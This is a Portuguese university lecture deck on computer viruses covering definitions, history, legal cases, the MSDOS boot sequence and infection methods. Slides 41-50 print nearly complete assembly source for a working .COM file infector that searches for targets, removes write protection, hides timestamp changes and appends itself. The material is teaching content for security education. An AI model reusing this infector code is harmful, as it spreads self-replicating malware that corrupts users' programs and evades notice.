Software de Telecomunicações. Virus informáticos:1ª parte



Documentos relacionados
Criptografia e Segurança das Comunicações. Virus informáticos

Periféricos e Interfaces Ano lectivo 2003/2004 Docente: Ana Paula Costa. Aula Teórica 11

Software de Telecomunicações. Ferramentas de protecção. Prof RG Crespo Software de Telecomunicações Protecção : 1/15

Interface Hardware/Software. Centro de Informática - UFPE Paulo Maciel prmm@cin.ufpe.br

Universidade do Algarve Faculdade de Ciências e Tecnologia Área Departamental de Engenharia Electrónica e Computação

Definição DSPTI II. Surgimento - Brasil

INT 5h - Print screen Modo Resolução Caract. INT 10h - Vídeo INT 10h - Vídeo

Sistemas Operacionais

Sistema de Arquivos FAT

Capacidade = 512 x 300 x x 2 x 5 = ,72 GB

Uso de interrupções de BIOS/DOS

Acadêmicos: Luís Fernando Martins Nagata Gustavo Rezende Vinícius Rezende Santos

Ambiente de trabalho. Configurações. Acessórios

Conceitos importantes

Referencial do Módulo B

IFPE. Disciplina: Sistemas Operacionais. Prof. Anderson Luiz Moreira

CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM

Manual do Utilizador

Microsoft Windows. Aspectos gerais

1. SINTAXE DA LINGUAGEM ASSEMBLY

Instalação do Sistema Operativo Windows XP

Vírus e outras ameaças

Laboratório de Hardware

O TEMPO DE ACESSO A UM DADO EM DISCOS MAGNÉTICOS É FORMADO POR TRÊS TEMPOS SIGNIFICATIVOS COMBINADOS:

O AMBIENTE DE TRABALHO DO WINDOWS

Interrupções. As interrupções são casos especiais de chamadas de procedimentos.

GERENCIAMENTO DE DISPOSITIVOS

GESTÃO E ORGANIZAÇÃO DA INFORMAÇÃO

Os 3 principais tipos de Instruções (INSTRUTION SET) dos up são:

Curso de Instalação e Gestão de Redes Informáticas

1.5. Computador Digital --Software. INFormática Tipos de Software. Software. Hardware. Software do Sistema. Software de Aplicação.

Data de Aplicação 2/04/2009

Realizado por: Fábio Rebeca Nº6. Iuri Santos Nº8. Telmo Santos Nº23

Sistemas Operacionais

Generated by Foxit PDF Creator Foxit Software For evaluation only. Capitulo 1

Armazenamento Secundário. SCE-183 Algoritmos e Estruturas de Dados II

paulo_magalhães/tiago_gala TIC IPSB 10B 2004/2005 virus

OneTouch ZOOM Pro Diabetes Management Software. Guia de Instalação. Procedimento de instalação

Conjunto organizado de informações da mesma natureza, agrupadas numa unidade independente de processamento informático

PLANEAMENTO DA INSTALAÇÃO DO WINDOWS SERVER 2003

Funções de um SO. Gerência de processos Gerência de memória Gerência de Arquivos Gerência de I/O Sistema de Proteção

ROM-BIOS Inicialização Sistemas de Arquivos Formatação

Introdução aos Computadores

Periféricos e Interfaces Ano lectivo 2003/2004 Docente: Ana Paula Costa. Aula Teórica 12

Capítulo 8. Software de Sistema

GIAE VERSÃO JUNHO DE 2011 MUITO IMPORTANTE

SISTEMA DE ARQUIVOS. Instrutor: Mawro Klinger

Manual de Preparação do Computador para Sistema Dual Boot (Windows e Linux)

Realizado por: Fábio Rebeca Nº6. Iuri Santos Nº8. Telmo Santos Nº23

Guia rápido do utilizador

Controle Parental. Introdução

SISTEMAS DE ARQUIVOS Sistemas operacionais

Planificação Anual da disciplina de TIC 9ºANO

Organização do Curso. Instalação e Configuração. Módulo II. Pós Graduação em Projeto e Gerencia de Redes de Computadores

Introdução aos Sistemas Operativos

Introdução a Informática. Prof.: Roberto Franciscatto

CONCEITOS BÁSICOS DE UM SISTEMA OPERATIVO

Programação de Sistemas

Programação de Sistemas

UNIDADE 2: Sistema Operativo em Ambiente Gráfico

Arquitectura de Computadores 2007/2008 2º Semestre Repescagem 1º Teste - 03/07/2008

Apontamentos do livro de AI Linux. 1.5 Modo texto e modo gráfico

Utilizar discos DVD-RAM

SISTEMAS OPERACIONAIS

LABORATÓRIO DE LINGUAGEM DE MONTAGEM INTERRUPÇÕES DO DOS E DA BIOS

Prof. Marcos Ribeiro Quinet de Andrade Universidade Federal Fluminense - UFF Pólo Universitário de Rio das Ostras - PURO

Introdução à Computação: Sistemas de Computação

Agrupamento de Escolas de São João da Pesqueira Planificação Anual de 120 Tempos de 50m Introdução às Tecnologias da Informação e Comunicação PIEF

Programação de Sistemas

Manual de Utilizador. Disciplina de Projecto de Sistemas Industriais. Escola Superior de Tecnologia. Instituto Politécnico de Castelo Branco

Kernel Linux. Trabalho Realizador Por: Tiago Conceição Nº Representação artística do núcleo Linux

Conjunto de instruções do CPU. Arquitectura de um computador. Definição das instruções (1) Definição das instruções (2)

Arquitetura de Computadores. Tipos de Instruções

Impressão do Manual do Utilizador

Gestor de ligações Manual do Utilizador

Oficina de Construção de Páginas Web

Escola Básica 2, 3 de Lamaçães Planificação Anual 2007/08 Tecnologias de Informação e Comunicação

Reconhecer a estrutura de um sistema operativo. Definir um plano de instalação de um servidor de rede local.

SECUNDÁRIA DE CAMARATE Plataforma Office 365. Alojamento de ficheiros - OneDrive para Empresas

Manual de utilização do Moodle

Componentes de um Sistema de Operação

Manual de Integração

Desenvolvendo Websites com PHP

Fundamentos de Arquivos e Armazenamento Secundário

Vírus é um programa. Sendo que este programa de computadores é criado para prejudicar o equipamento ou sabotar os dados nele existente.

Módulo 3936 ASP.NET. Financiado pelo FSE

Princípios de funcionamento dos computadores

Curso de Informática Básica

Novidades do AVG 2013

2-Introdução e Conceitos Básicos das TIC

WINDOWS. O Windows funciona como um Sistema Operativo, responsável pelo arranque do computador.

UNIVERSIDADE FEDERAL DE PELOTAS

Laboratório de Sistemas Processadores e Periféricos Lista de comandos de Assembly

Apresentação de SISTEMAS OPERATIVOS

Satélite. Manual de instalação e configuração. CENPECT Informática cenpect@cenpect.com.br

Instalação do software cygwin

ARQUITECTURA DE COMPUTADORES CAPÍTULO II AULA X

Transcrição:

Software de Telecomunicações Virus informáticos:1ª parte Prof RG Crespo Software de Telecomunicações Virus-I : 1/59 Descrição do módulo Parte I Introdução aos virus Infecção de virus em MSDOS Parte II Virus associados a documentos Estratégias na detecção de virus Instalação do anti-virus McAfee Vermes e Firewalls Prof RG Crespo Software de Telecomunicações Virus-I : 2/59

Definições (1) Virus: segmento de código (200B-4KB), que se copia num programa hospedeiro ( host ), quando este é activado. Nota: os virus não infectam ficheiros de dados, embora alguns possam ser interpretados (ex: Email pelo Outlook Express). Cavalo de Troia ( Trojan horse ): programa com funções, frequentemente destrutivas, não conhecidas pelo utilizador Bomba temporal: funções activadas por data Bomba lógica: funções activadas por condições Verme ( Worm ): programa que se duplica a si próprio, sem infectar outros. Os vermes replicam-se na Internet, sobrecarregando-a. Prof RG Crespo Software de Telecomunicações Virus-I : 3/59 Definições (2) Spyware programas que reconhem informação (comandos, senhas de passe, ) que é enviada pela Internet. CM2 ( Malicious Mobile Code ): programas desenhados para se moverem entre computadores, por redes, a fim de modificar sistemas sem conhecimento dos operadores. SPAM 1 correio não solicitado 1 Marca de carne enlatada, da empresa Hormel, acrónimo de Shoulder of Pork and ham. Prof RG Crespo Software de Telecomunicações Virus-I : 4/59

Identificação de virus (1) As identificações iniciais usavam critérios ad-hoc, uma vez que os criadores são frequentemente desconhecidos. Local onde foi detectado pela 1ª vez (ex: Leigh, Alameda). Cadeia de caracteres existente no código (ex: Brain, Melissa, AnaKournikova) Numero de Bytes de incremento do programa infectado (ex: 1704, 1280) Associações extemporânias (Code Red é uma bebida energética que os analistas tomaram na altura do combate ao virus) Prof RG Crespo Software de Telecomunicações Virus-I : 5/59 Identificação de virus (2) A descrição dos virus detectados mensalmente publicada em http://www.wildlist.org Em 1991, a CARO-Computer Antivirus Research Org, adoptou uma metologia para as designações Formato: Familia.Grupo.VarMaior.VarMenor.Modificador Campos cada vez mais específicos, sendo obrigatórios à esquerda Ex: W97.Melissa.AA Primeira variante Word 97 Macro Prof RG Crespo Software de Telecomunicações Virus-I : 6/59

Identificação de virus (3) Código de algumas famílias de virus Prefixo BAT Boot HLL TRO W32 W64 WM XM Descrição DOS batch sector boot do DOS Linguagem de programação (Java, JS-JavaScript, VBS- Visual Basic Script) Cavalo de Troia Todas as plataformas Windows 32 (Win 2000,NT,XP) Plataforma Windows IA64 Word macro Excel macro Prof RG Crespo Software de Telecomunicações Virus-I : 7/59 História (1) [Nov83] Fred Cohen, estudante de Doutoramento em EE na University of Southern California, imagina, numa disciplina sobre segurança, um programa que tome conta de um computador. Implementa-o num VAX 11/750, a correr Unix, que toma conta dele numa hora 1. O orientador, Prof. Adelman, sugere o nome de virus. [1982] Primeiro virus conhecido, no sector boot de uma diskette do Apple II contendo o jogo Elk Cloner. No 50º boot imprime uma mensagem no terminal. [Jan85] Primeiras infecções em PCs: Leigh-Universidade onde Cohen ensinava, e o cavalo de Troia Brian-produzido no Paquistão (autores indicados no código). [1987] Detectado o virus Jerusalem na Hebrew University, que aumenta sempre ficheiros.com e.exe e destroi todos os programas a correr na 6ª-feira, 13. Primeiro virus a atrair atenção na comunicação social. 1 Fred Cohen, Computer Viruses-Theory and Experiments, Computers & Security: 6(1), 22-35 1987 Prof RG Crespo Software de Telecomunicações Virus-I : 8/59

História (2) [Nov88] Primeiro verme detectado, Morris Internet Worm, afectando VAX e Sun3 com Unix 4 BSD. [89-92] Geração de vários virus em Sofia/Bulgária, incluindo o DAME (Dark Avenger s Mutating Engine, ou MTE, uma ferramenta de apoio à geração de novos virus). [Ago95] MicroSoft distribui, a centenas de produtores de software, o CD Windows 95 Software Compatability Test com o virus WM.Concept [Jun97] Publicado programa winnuke.c, que envia para o porto 139 lixo e o Win95 do outro lado crasha. [Ago98] Lançado o primeiro virus de Java, o Strange Brew. [1999] Lançado primeiro spyware no jogo gratuito Elf Bowling. [Mar99] Lançado o primeiro verme de Email, o Melissa. Prof RG Crespo Software de Telecomunicações Virus-I : 9/59 História (3) [Jun00] Cavalo de Troia Timfonica, em Visual Basic, infecta na Espanha PCs para enviar mensagens a telemóveis: para além do manifesto anti-monopólio, apaga parameterizações. [Jul01] O verme Code Red replicou-se mais de 250 mil vezes, em 9 horas, no dia 21 de Julho. [Set01] Lançado o primeiro cavalo de Troia contra o Palm OS, o Liberty crack. [Jan03] O verme Slammer, explorando uma falha no servidor SQL da MicroSoft, arrancou em Hong-Kong no dia 25 de Janeiro e bloqueou 5 dos 13 servidores da Internet em 15 minutos. Tinha apenas 376B! [Mai04] Lançado o primeiro virus conceptual do Win64, o W64.Rugrat.3344 [Jul07] Lançado verme W32.Deletemusic, que elimina todos os ficheiros MP3. Prof RG Crespo Software de Telecomunicações Virus-I : 10/59

Efeitos de virus (1) Graves prejuizos economicos na quebra do desempenho da Internet (ex: o Slammer causou prejuízos estimados em 2 biliões de USD-a Continental Airlines teve de encerrar o hub de Newark). Criação de muitas empresas de eliminação de virus (McAFee, Norton, Panda, ). Incentivam o desenvolvimento de arquitecturas de protecção ( Firewalls, ) e descoberta/ eliminação de falhas ( loopholes ). Prof RG Crespo Software de Telecomunicações Virus-I : 11/59 Efeitos de virus (2) Os virus/vermes têm sido sido detectados em muitos ambientes Microcomputadores (MSDOS, Windows, Macintosh, ) Routers da Internet Telemóveis, PDAs Em 2007 encontravam-se registados 1.1 milhões, muitos deles variantes (relatório Symantec). Prof RG Crespo Software de Telecomunicações Virus-I : 12/59

Efeitos de virus (3) Diversos estados (EUA,GB,* ) publicaram leis contra a produção e difusão de virus. Já foram condenados criadores de virus/vermes [Mai95] Primeiro condenado na GB pela criação de virus, a 18 meses de detenção. [Fev98] Criador do Morris Internet Worm suspenso, durante 1 ano, da Cornell University de Ithaca/NY. [Set01] Criador do VBS.VBSWG.J@MM, ou AnaKournikova, condenado na Holanda a 75 dias de prisão. [Mai02] Criador do Melissa condenado, no estado de New Jersey, a 20 meses de prisão. * Portugal em Outubro 2009. Prof RG Crespo Software de Telecomunicações Virus-I : 13/59 Efeitos de virus (4) [Jul04] Criador do cavalo de Troia W32.Carbonator condenado, em Espanha, a 2 anos de prisão. O virus foi disponibilizado numa pagina Web com instruções para seu uso: uma vez carregado, permitia ao criador do Carbonator aceder aos dados do computador infectado. [Abr05] Criador de distribuidor de Email spam, Jeremy Janes, condenado a 9 anos de prisão no estado de Virginia. [Jan06] James McCalla condenado por tribunal de Illinois a pagar 11.2 biliões de USD a Midwest ISP, por envio de 280 milhões de Email spam. Prof RG Crespo Software de Telecomunicações Virus-I : 14/59

Efeitos de virus (5) Sintomas de infecções virais Alterações inesperadas do comprimento de ficheiros (especialmente executáveis). Programas a demorar mais tempo a iniciar, ou correr mais lentamente. Tentativas, sem razão aparente, de escrita em meio writeprotected. Diminuição inesperada de memória de disco, ou aumento de badsectors nos discos. Ficheiros a desaparecer, ou serem criados, misteriosamente. Reboot inesperado com programas correctos a executar. Carga anormal de redes locais, especialmente quando cópias multiplas dos mesmos dados são enviados. Prof RG Crespo Software de Telecomunicações Virus-I : 15/59 Etapas de um virus (1) As etapas mais importantes na vida de um virus são: Activação Replicação ( spread ) Manipulação (opcional, ex: alteração de dados no disco, mensagens no ecran, reboot, ) Nota 1: Os criadores de virus pretendem que a activação e a replicação sejam automáticas e invisíveis (sem intervenção directa, nem conhecimento do operador). Nota 2: Um verme não necessita da intervenção do operador para se replicar. Prof RG Crespo Software de Telecomunicações Virus-I : 16/59

Etapas de um virus (2) Os sistemas operativos iniciais (MSDOS, ), muito simples, não possuiam protecções contra virus. Sistemas operativos mais protegidos (Win32,MacOS, ), não são invioláveis: apesar de mais complexos, falhas continuam a ser exploradas. Nesta disciplina são analisados, com algum detalhe, alguns virus Brain, Melissa Morris Internet Worm, Slammer Prof RG Crespo Software de Telecomunicações Virus-I : 17/59 Formas de adição no hospedeiro Incremento ( add-on ): o virus é inserido no fim, ou no início do hospedeiro, e o arranque do hospedeiro é alterado por forma que o virus seja executado primeiro. É a forma mais seguida pelos criadores de virus. Concha ( shell ): o virus torna-se o programa principal e o hospedeiro torna-se subrotina do virus. Intrusivo: parte do código do hospedeiro é substituído pelo virus. Prof RG Crespo Software de Telecomunicações Virus-I : 18/59

MSDOS: Activação A activação pode ser feita Automaticamente no arranque do sistema: activação ocorre sempre! No programa infectado (.COM ou.exe): activação só ocorre quando o programa infectado é activado. O MSDOS, ao carregar um programa (.COM ou.exe), cria na base um espaço de 0100H denominado PSP-Program Segment Prefix. Diferenças nos formatos dos ficheiros de boot,.com e.exe levam que os virus sejam específicos a ficheiros tipo e a sistema operativo. Prof RG Crespo Software de Telecomunicações Virus-I : 19/59 MSDOS: Activação boot (1) O arranque passa por 7 etapas de execução de programas A. BIOS-Basic Input Outupt System B. Registo de partição ( Master Boot Record ) - inexistente em arranque por diskette C. Boot sector D. IO.SYS e MSDOS.SYS E. CONFIG.SYS F. COMMAND.COM G. AUTOEXEC.BAT Prof RG Crespo Software de Telecomunicações Virus-I : 20/59

MSDOS: Activação boot (2) A. BIOS O BIOS são programas que lêem configurações básicas (quais as unidades de disco existentes, qual o disco master para boot, ) disponibilizam rotinas básicas de entrada/saída (monitor, disco, ) testam memória RAM e teclado (POST- Power On Self Test ) Gravado em ROM, é impossível a sua infectação por virus. Prof RG Crespo Software de Telecomunicações Virus-I : 21/59 MSDOS: Activação boot (3) B. Registo de partição Um disco pode ser dividido em partições, ou volumes, ocupadas sistemas operativos distintos (ex: Linux e Windows XP). Um sistema operativo ter várias partições (ex: C: para sistema operativo, G: para aplicações, H: para utilizadores) Existe uma posição fixa (cabeça 0, faixa 0, sector 1), onde se fixam as partições. O programa que reside no MBR (ex: GRUB, LILO, NTLDR) permite ao utilizador indicar o sistema operativo a arrancar. Na configuração das partições é indicada qual, entre as diversas partições do sistema operativo, a que contém o boot sector (ex: C:). Prof RG Crespo Software de Telecomunicações Virus-I : 22/59

MSDOS: Activação boot (4) Devido à limitação de espaço, até 446B, os virus a infectar o registo de partição promovem a sua deslocação dentro da partição do MSDOS (ex: Stoned). Antes Registo partição Disco boot sector Disco Infectado Virus boot sector Registo partição Prof RG Crespo Software de Telecomunicações Virus-I : 23/59 MSDOS: Activação boot (5) C. Boot sector Código criado pelo comando sys, ou format/s. O código determina o layout dos ficheiros de disco e a localização do IO.SYS Pode ser usado para executar automaticamente um programa no arranque (ex: PC dedicado a uma apresentação) característica explorada por cerca 50% dos virus (ex: Brain, Alameda) Infecções perigosas, por actuarem antes dos antivirus poderem ser usados. Prof RG Crespo Software de Telecomunicações Virus-I : 24/59

MSDOS: Activação boot (6) 512B 00H 03H 0BH 0FFH Estrutura do boot sector normal Instrução salto (E9 XX XX, ou EB XX 90) para rotina bootstrap Original Equipment Manufactor (OEM) identification BIOS Parameter Block (BPB): numero de lados formatados, de faixas, de sectores por faixa, clustes por sector, O espaço varia com versão do MSDOS (entre 12B e 51B) Rotina Bootstrap, que carrega parâmetros da BPB para a BIOS e salta para o IO.SYS Limitação de espaço (512-(3+8+62))=450B, resolvida pelos virus de forma semelhante à do registo de partição Prof RG Crespo Software de Telecomunicações Virus-I : 25/59 MSDOS: Activação boot (7) D. IO.SYS Contém extensões à BIOS e código de inicialização. Nota: depois de executado, tecnicamente o MSDOS está instalado. CONFIG.SYS Se existir, é executado. É um ficheiro de comandos, que instala drivers. Nota: IO.SYS e CONFIG.SYS são ficheiros invisíveis ( hidden ) Prof RG Crespo Software de Telecomunicações Virus-I : 26/59

MSDOS: Activação boot (8) E. COMMAND.COM Por omissão, é o interpretador de comandos e contém comandos internos do DOS Reside em RAM. Pode ser substituído por outro, se no CONFIG.SYS for indicado o comando SHELL= Foi infectado pelo Lehigh em Nov 87. F. AUTOEXEC.BAT Ficheiro de texto, com comandos simples, não usado por virus por ser lento, limitado e de fácil detecção. Prof RG Crespo Software de Telecomunicações Virus-I : 27/59 Replicação COM-memória (1) Nos ficheiros.com, código, dados e pilha estão no mesmo segmento (logo, obrigatoriamente menores que 64KB). Os programas podem ser colocados em qualquer endereço da zona de RAM denominada TPA-Transient Program Area. Início do programa 64K PSP Código + Dados.COM Virus TPA A Basic Virus Writing Primer, Chili, Assembly Programming Journal 1(4) Apr 1999 Prof RG Crespo Software de Telecomunicações Virus-I : 28/59

Replicação COM-memória (2) No MSDOS, programas.com ou.exe são colocados depois do PSP-Program Segment Prefix (0100H) Depois de carregado o ficheiro.com, o MSDOS inicializa os seguintes registos antes de iniciar a execução AX = BX = CX = DX = 00000H BP = 0100H SP = 0FFFFH DS,ES,SS,CS = segmento onde é instalado o programa IP = 0100H Prof RG Crespo Software de Telecomunicações Virus-I : 29/59 Replicação COM-int 21h (1) Operações sobre ficheiros com INT 21 e função no AH Cod. Objectivo Parâmetros Retorno 01H Lê caractere do teclado AL-caracteres 02H Escreve caractere na consola DL-caractere --- 09H Imprime cadeia de caracteres DS:DX-endereço de cadeia (1) --- 1AH Transferir local do DTA DS:DX-novo endereço --- 3DH Abertura de um ficheiro AL-modo de acesso DS:DX-endereço de nome (2) Sucesso c/ carry=0 AX-descritor fich 3EH Fecho de um ficheiro BX-descritor ficheiro Sucesso c/ carry=0 1) cadeia de caracteres terminada por $ 2) cadeia de caracteres terminada pelo Byte 0 Prof RG Crespo Software de Telecomunicações Virus-I : 30/59

Replicação COM-int 21h (2) Cod. Objectivo Parâmetros Retorno 3FH Leitura de um ficheiro BX-descritor ficheiro CX-numero Bytes a ler DS:DX-endereço de memória Sucesso c/ carry=0 AX-Bytes lidos 40H Escrita de um ficheiro BX-descritor ficheiro Sucesso c/ carry=0 CX-numero Bytes a escrever AX-Bytes escritos DS:DX-endereço de memória 42H Alterar posição no fich AL-origem do movimento BX-descritor ficheiro CX,DX-deslocamento 43H Obter/alterar atributos AL-00(get), 01(set) CX-atributos Sucesso c/ carry=0 DX,AX-deslocamento efectuado Sucesso c/ carry=0 CX-atributos (se AL=0) Prof RG Crespo Software de Telecomunicações Virus-I : 31/59 Replicação COM-int 21h (3) Cod. Objectivo Parâmetros Retorno 4CH Termina programa AL-código retorno --- 4EH Procura primeiro ficheiro numa directoria CX-tipo de ficheiro DS,DX-endereço da template Sucesso c/ carry=0 DTA 4FH Procura ficheiro seguinte DS,DX- template anterior Sucesso c/ carry=0 57H (3) Obter/alterar data de última alteração AL-00(get), 01(set) BX- descritor ficheiro DX-data, CX-hora (se AL=01) Sucesso c/ carry=0 DX-data CX-hora (se AL=00) 3) Só para MSDOS 4+ Prof RG Crespo Software de Telecomunicações Virus-I : 32/59

Replicação COM-int 21h (4) 43B 00H 15H 16H 18H 1AH 1EH reservado Estrutura do DTA preenchido pela função 4EH atributos do ficheiro hora data dimensão do ficheiro nome do ficheiro 2AH Nota: DTA pode igualmente guardar a linha de comandos, nesse caso são necessários 128B Prof RG Crespo Software de Telecomunicações Virus-I : 33/59 Replicação COM-passos (1) Um virus.com, infecta outro ficheiro seguindo os passos 1. Copia, para o fim do ficheiro a infectar, o código 2. Copia para o novo final, os 3 primeiros Bytes do ficheiro a infectar. 3. Substitui os 3 primeiros Bytes por um JUMP para o código viral. 4. No final do código viral: Obtém o endereço do PSP, pelo INT 21H-função 062H. Copia os 3 Bytes salvaguardados para PSP+0100H Executa um JUMP para PSP+0100H Prof RG Crespo Software de Telecomunicações Virus-I : 34/59

Replicação COM-passos (2) Para que o utilizador não desconfie dos acessos, os criadores de virus seguem os seguintes passos: Se o alvo estiver write-protected, retirar a protecção e restabelecê-la no fim. Antes de escrever no ficheiro alvo, guardar a data da última modificação, e restaurar a data depois de escrever no ficheiro alvo. Prof RG Crespo Software de Telecomunicações Virus-I : 35/59 Replicação COM-variáveis (1) Problema: Nas instruções de salto, os endereços são relativos ao 1º Byte depois da instrução. Em Asm86, os endereços das variáveis são absolutos, dentro de DS. No entanto, a posição dos dados da parte viral depende do hospedeiro. Como saber a posição das variáveis (exemplo, para guardar os 3 Bytes inicias do ficheiro a infectar)? Código Dados Código Dados Hosp. A Hosp. A virus virus Código Dados Código Dados Hosp. B Hosp. B virus virus Prof RG Crespo Software de Telecomunicações Virus-I : 36/59

Replicação COM-variáveis (2) Solução: O código dos virus é de tamanho sempre igual, e as variáveis do virus estão depois do código. Assim, o código do vírus tem de recolher no início o deslocamento relativo da sua parte de código. Start_virus: chama a instrução seguinte, logo IP é carregado na pilha call Here Here: pop bp recolhe endereço para o BP sub bp, offset Here subtrai espaço da parte inicial(call Here) Prof RG Crespo Software de Telecomunicações Virus-I : 37/59 Replicação COM-variáveis (3) No código do virus, as suas variáveis são sempre acedidas por endereçamento base na forma [BP+offset var] Deslocamento da variável dentro do virus Deslocamento no hospedeiro Prof RG Crespo Software de Telecomunicações Virus-I : 38/59

Replicação COM-restauro (1) O hospedeiro tem os 3 primeiros Bytes, em 100h, substituidos pelo salto para o código do virus. O virus, ao infectar um programa, começa por guardar o conteúdo dos 3 primeiros Bytes desse programa na variável fst_three. O código do virus restabelece no final esses 3 Bytes, com instruções MOVS, para que depois o programa possa ser executado sem o utilizador suspeitar da infecção. Prof RG Crespo Software de Telecomunicações Virus-I : 39/59 Replicação COM-restauro (2) mov di,100h [ES]:DI aponta destino push di leasi,[bp+offset fst_three] cld movsb movsw reset direction flag para incrementos no DI e SI Prof RG Crespo Software de Telecomunicações Virus-I : 40/59

Replicação COM-código (1).model tiny modelo.com.code org 100H deixa espaço para PSP Start: db 0E9H instrução de salto dw 0 no lançador é zero, nos outros casos determina-se depois Obtem, no BP, o espaço do hospedeiro Start_virus: call Here Here: pop bp sub bp, offset Here Restaura 3 primeiros Bytes do hospedeiro mov di,100h [ES]:DI aponta destino push di lea si,[bp+offset fst_three] cld reset direction flag para incrementos no DI e no SI movsb movsw Prof RG Crespo Software de Telecomunicações Virus-I : 41/59 Replicação COM-código (2) No PSP, a área acima de 80H (DTA-Disk Transfer Area) é usada pelo INT 21 para guardar dados. No arranque do programa, em 80H estão guardados os parâmetros da linha de comando. Logo, o virus tem de guardar esses dados antes de qualquer acesso a disco. lea dx,[bp+offset dta] $Set_dta Prof RG Crespo Software de Telecomunicações Virus-I : 42/59

Replicação COM-código (3) Procura um ficheiro para infectar mov ah,4eh Find_next: lea dx,[bp+offset template] mov cx,3fh todos os tipos de ficheiro int 21h jnc Found_one jmp Quit Abre ficheiro alvo Found_one: mov al,0 recolhe atributos $Get_set_attrib mov [bp+offset file_attrib],cx test cx,1 je Attrib_ok está em write-protected, tem de alterar modo de acesso dec cx mov al,1 $Get_set_attrib Attrib_ok: mov ah,3dh mov al,2h acesso leitura/escrita int 21h jnc Opened call Restore_attrib falhou, restabelece atr mov ah,4fh tenta outro jmp Find_next Prof RG Crespo Software de Telecomunicações Virus-I : 43/59 Replicação COM-código (4) Opened: xchg ax,bx desloca descritor para BX Lê data da última alteração do ficheiro mov al,0 $Get_set_date mov [bp+offset time],cx mov [bp+offset date],dx Lê e guarda 3 primeiros Bytes mov ah,03fh lea dx,[bp+offset fst_three] mov cx,3 int 21h jnc Check_size call Restore_date mov ah,4fh tenta outro jmp Find_next Prof RG Crespo Software de Telecomunicações Virus-I : 44/59

Replicação COM-código (5) Problema: Os virus.com possuem o inconveniente de provocar o aumento do programa (ex: o virus Jerusalem não tinha assinatura, e cada infecção aumenta o programa em 1813B). Não há interesse em infectar um hospedeiro já infectado. Solução: Verificar se o ficheiro já foi infectado, comparando dimensões do virus (código + dados) Prof RG Crespo Software de Telecomunicações Virus-I : 45/59 Replicação COM-código (6) Check_size: se tamanho dos dois ficheiros for igual, o alvo já deve estar infectado mov ax,word ptr[bp+offset F_Size] mov cx,word ptr[bp+offset fst_three+1] add cx,end_virus-start_virus+3 cmp ax,cx jnz Uninfected call Restore_date mov ah,4fh tenta outro jmp Find_next Yum-yum, um candidato à infecção! Vamos a ele. Uninfected: calcular deslocamento para o JMP no ficheiro alvo sub ax,3 mov word ptr [bp+offset jmp_offset],ax Prof RG Crespo Software de Telecomunicações Virus-I : 46/59

Replicação COM-código (7) Posiciona-se no inicio do fich alvo mov al,0h $Move_file_ptr Escreve 3 primeiros Bytes mov cx,3 lea dx,[bp+offset jmp_inst] $Write_to_file jnc Copy call Restore_date mov ah,4fh tenta outro jmp Find_next copia virus Copy: mov al,2 posicionar no fim $Move_file_ptr copiar o corpo principal do virus mov cx,end_virus-start_virus lea dx,[bp+offset Start_virus] $Write_to_file Restabelece DTA e data do hospedeiro mov dx,80h $Set_dta call Restore_date Prof RG Crespo Software de Telecomunicações Virus-I : 47/59 Replicação COM-código (8) Restaura registos e regressa ao programa infectado mov ax,0 mov bx,0 mov cx,0 mov dx,0 mov bp,0 mov si,0 mov di,0 retn NOTA:ORDEM DAS ROTINAS Restore_date, Restore_attrib, Close NÃO PODE SER ALTERADA Restore_date: restaura data/dia mov al,01h mov cx,[bp+offset time] mov dx,[bp+offset date] $Get_set_date Restore_attrib: restaura atributos mov cx,[bp+offset file_attrib] mov al,1 $Get_set_attrib Close: fecha alvo mov ah,03eh int 21h retn Prof RG Crespo Software de Telecomunicações Virus-I : 48/59

Replicação COM-código (9) DADOS A RESIDIR NO FICHEIRO ALVO template db "disp?.com",0 fst_three db 0cdh,20h,0 INT 20 virus_name db "[Demo]",0 author db "Nobody",0 jmp_inst End_virus equ $ db 0e9h Manter ordem nas declarações de dados! DADOS A RESIDIR NO FICHEIRO INFECTADO jmp_offset dw? dta: Reserv db 21 dup(?) F_Attr db? F_Time dw? F_Date dw? F_Size dd? F_Name date dw? time dw? file_attrib dw? db 13 dup(?) _code ends end _start Prof RG Crespo Software de Telecomunicações Virus-I : 49/59 Replicação COM-código (10) MACROS $Write_to_file MACRO mov ah,40h int 21h ENDM $Set_dta MACRO mov ah,1ah int 21h ENDM $Get_set_attrib MACRO lea dx,[bp+offset dta+1eh] mov ah,43h int 21h ENDM $Get_set_date MACRO mov ah,57h int 21h ENDM $Move_file_ptr MACRO mov cx,0 mov dx,0 mov ah,42h int 21h ENDM Prof RG Crespo Software de Telecomunicações Virus-I : 50/59

MSDOS: Ficheiros EXE (1) Nos ficheiros.exe, o programa é carregado imediatamente acima do PSP, mas a ordem dos segmentos de código, dados e pilha, pode variar. Os ficheiros.exe possuem um cabeçalho ( header ) de tamanho múltiplo de 512B. Um virus tem de calcular, a partir do cabeçalho, o endereço de início do programa e o espaço ocupado. Prof RG Crespo Software de Telecomunicações Virus-I : 51/59 MSDOS: Ficheiros EXE (2) 00H 02H 04H 08H * 512B 0EH 4D 5A Estrutura do cabeçalho.exe Assinatura (MZ-Mark Zbikowsky) Comprimento ficheiro, mod 512 Comprimento ficheiro e cabeçalho / 512 Comprimento do cabeçalho (parágrafos 16B) 012H 014H SS (parágrafos) e SP iniciais Checksum CS (parágrafos) e IP iniciais Prof RG Crespo Software de Telecomunicações Virus-I : 52/59

MSDOS: Ficheiros EXE (3) Depois de carregado o ficheiro.exe, o MSDOS inicializa os seguintes registos antes de iniciar a execução AX = numero de parâmetros na linha de comando BX:CX = dimensão do ficheiro DX = 0 DS,ES = segmento em que o cabeçalho é carregado O programa é executado no endereço indicado no cabeçalho para CS:IP Prof RG Crespo Software de Telecomunicações Virus-I : 53/59 MSDOS residência em RAM (1) A replicação do virus é facilitada se o código residir em memória- Terminate and Stay Resident (ex: Cascade). Em MSDOS, o virus altera interrupts de software para si ( hooking ). 13 21 BIOS ROM DOS 13 21 BIOS ROM DOS TPA Virus Antes TSR Prof RG Crespo Software de Telecomunicações Virus-I : 54/59

